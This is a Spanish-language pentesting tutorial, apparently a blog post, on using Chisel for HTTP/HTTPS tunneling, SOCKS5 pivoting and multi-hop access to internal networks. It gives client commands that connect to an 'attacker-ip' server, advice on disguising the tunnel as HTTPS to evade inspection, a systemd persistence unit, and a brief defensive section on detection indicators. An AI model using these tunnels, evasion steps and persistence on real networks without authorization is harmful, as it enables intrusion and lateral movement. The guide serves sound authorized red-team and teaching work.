Skip to content
Saltar al contenido principal
Chisel: Tunneling y Port Forwarding para Pentesting y Red Team

Chisel: Tunneling y Port Forwarding para Pentesting y Red Team

Chisel es la herramienta de tunneling más versátil para pentesting. Crea túneles HTTP/HTTPS, port forwards y proxies SOCKS5 para pivoting a través de firewalls.

6 minCyberFlows
[Espacio publicitario — AdSense]

Chisel: Tunneling y Port Forwarding para Pentesting y Red Team

Por qué necesitas tunneling en pentesting

Cuando realizas una auditoría de seguridad, rara vez tienes acceso directo a toda la red objetivo. El firewall bloquea la mayoría de los puertos, pero casi siempre permite tráfico HTTP/S. Chisel aprovecha esto para crear túneles cifrados sobre HTTP, permitiéndote llegar a cualquier segmento de red.

En un escenario típico de pentesting, el equipo rojo obtiene acceso inicial a una máquina en la DMZ a través de una vulnerabilidad web. Desde esa máquina, necesita moverse lateralmente hacia la red interna donde se encuentran los controladores de dominio, bases de datos y otros activos críticos. El problema: el firewall entre DMZ y red interna solo permite tráfico HTTP saliente. Chisel resuelve esto creando un túnel que se camufla como una conexión HTTPS normal.

Instalación

# Descargar binario precompilado
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel

# Compilar desde fuente (para personalizar)
go install github.com/jpillora/chisel@latest

# Cross-compilation para múltiples plataformas
GOOS=windows GOARCH=amd64 go build -o chisel.exe
GOOS=linux GOARCH=arm64 go build -o chisel-arm64

Es recomendable tener binarios compilados para todas las plataformas (Windows, Linux, macOS, ARM) listos en tu VPS o USB de auditoría. Durante un pentest no puedes perder tiempo compilando binarios cuando necesitas moverte rápido.

Port forwarding básico

Servidor (máquina atacante)

# Escuchar en puerto 8080
chisel server --port 8080

# Con autenticación
chisel server --port 8080 --auth usuario:password

# Con SOCKS5 habilitado
chisel server --port 8080 --socks5

# Con reversa: permitir que el cliente abra puertos en el servidor
chisel server --port 8080 --reverse

Cliente (máquina objetivo)

# Port forwarding local: acceder a RDP interno
chisel client attacker-ip:8080 9090:localhost:3389

# SOCKS5 proxy
chisel client attacker-ip:8080 1080:socks

# Port forwarding remoto: exponer un servicio local al servidor
chisel client attacker-ip:8080 R:3389:localhost:3389

El port forwarding remoto (R:) es especialmente útil cuando necesitas que otros miembros del equipo accedan a servicios internos a través de tu túnel.

Pivoting con proxychains

Una vez que tienes el túnel SOCKS5 activo, cualquier herramienta puede pasar por él:

# Configurar proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# Escanear red interna
proxychains nmap -sT -Pn 10.0.0.0/24

# Usar metasploit
proxychains msfconsole
msf6> use auxiliary/scanner/smb/smb_version
msf6> set RHOSTS 10.0.0.0/24
msf6> run

# Acceder a SMB internamente
proxychains smbclient -L //10.0.0.50 -U administrator

Nota importante: proxychains solo funciona con herramientas que usan TCP. Herramientas que usan UDP (como DNS) o protocolos raw no funcionarán a través de un túnel SOCKS5 estándar.

Multi-hop: llegar a cualquier red

# Hop 1: DMZ → Red interna
chisel client attacker-ip:8080 R:9090:10.10.10.1:3389

# Hop 2: Red interna → Red de datos
chisel client 10.10.10.1:9090 R:9091:172.16.0.1:445

# Resultado: accedes al DC (172.16.0.1:445) desde tu máquina

En entornos corporativos con múltiples segmentos de red, el multi-hop es una necesidad. Cada hop crea un túnel encadenado: tu máquina → DMZ → Red interna → Red de datos. La latencia se acumula con cada hop, así que mantén el número mínimo necesario.

Evasión con HTTPS

# Servidor con certificado TLS válido
chisel server --port 443 \
  --tls-cert cert.pem \
  --tls-key key.pem \
  --auth pentest:SecurePass

# El tráfico parece una conexión HTTPS normal
chisel client https://tunnel.empresa.com 1080:socks

Cuando usas un certificado TLS válido (puedes obtener uno gratuito con Let's Encrypt), el tráfico de Chisel es indistinguible de una conexión HTTPS normal para los dispositivos de inspección de tráfico (DPI) y los sistemas de detección de intrusos. Esto es crítico en ambientes donde el tráfico HTTP cifrado es inspeccionado pero el HTTPS no lo es (por costos o complejidad de implementación).

Persistencia con systemd

cat > /etc/systemd/system/chisel.service << 'EOF'
[Unit]
Description=Chisel Client Tunnel
After=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/chisel client \
  --auth pentest:SecurePass \
  https://tunnel.empresa.com 1080:socks
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

systemctl enable chisel
systemctl start chisel

La persistencia con systemd es útil en pentests de larga duración donde necesitas que el túnel se reconecte automáticamente si la conexión se interrumpe.

Chisel vs otras herramientas

Herramienta Protocolo Ventaja Desventaja
Chisel HTTP/S Evade firewalls, SOCKS5 Requiere binario en objetivo
ligolo-ng TCP Rendimiento, sin proxychains No eva firewalls HTTP
sshuttle SSH Sin configuración Solo SSH accesible
socat TCP Flexible No eva firewalls
frp HTTP/S Múltiples protocolos Configuración más compleja

Errores comunes en tunneling

No autenticar el túnel: Sin autenticación, cualquier persona que descubra tu servidor Chisel puede conectarse y usar tu túnel para pivotar. Siempre usa --auth.

No cifrar el tráfico: Chisel cifra por defecto cuando usas HTTPS, pero si configuras HTTP plano el tráfico va en texto claro. Nunca uses el túnel sin cifrado en un entorno de producción o pentest real.

Olvidar el flag --socks5: Sin --socks5, solo puedes hacer port forwarding específico. Para pivoting general necesitas el proxy SOCKS5.

No verificar conectividad antes del pivoting: Antes de ejecutar herramientas pesadas como nmap o metasploit, verifica que el túnel funciona con un simple curl o nc a través de proxychains.

Defensa contra tunneling

Para los defensores: detectar túneles HTTP es un desafío. Las indicadores clave incluyen:

  • Conexiones HTTP persistentes anormalmente largas
  • Tráfico con patrones de tamaño de paquete consistentes (Chisel usa chunks fijos)
  • Conexiones a IPs o dominios no habituales en logs de proxy
  • Tráfico que no sigue el patrón típico de navegación web (sin requests de assets, CSS, JS)

Herramientas como Zeek, Suricata o los logs de proxy corporativo pueden ayudar a detectar estos patrones.

Conclusión

Chisel es una herramienta esencial para pentesters y equipos de Red Team. Su capacidad de crear túneles sobre HTTP/HTTPS lo hace ideal para evadir firewalls y llegar a redes internas.

La clave: siempre ten chisel compilado para múltiples plataformas (Windows, Linux, macOS) y en un USB o VPS listo para usar. Y recuerda: la herramienta solo es tan buena como tu capacidad de justificar su uso dentro del alcance autorizado del pentest.


Herramientas relacionadas: Nmap (reconocimiento), Metasploit (explotación), BloodHound (AD mapping)

Artículos relacionados:

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.

[Espacio publicitario — AdSense]

Newsletter de Ciberseguridad

Resumen semanal con los mejores artículos, CVEs críticos y tendencias del mercado. Sin spam.

🔒 Tu email no se compartirá. Puedes darte de baja en cualquier momento.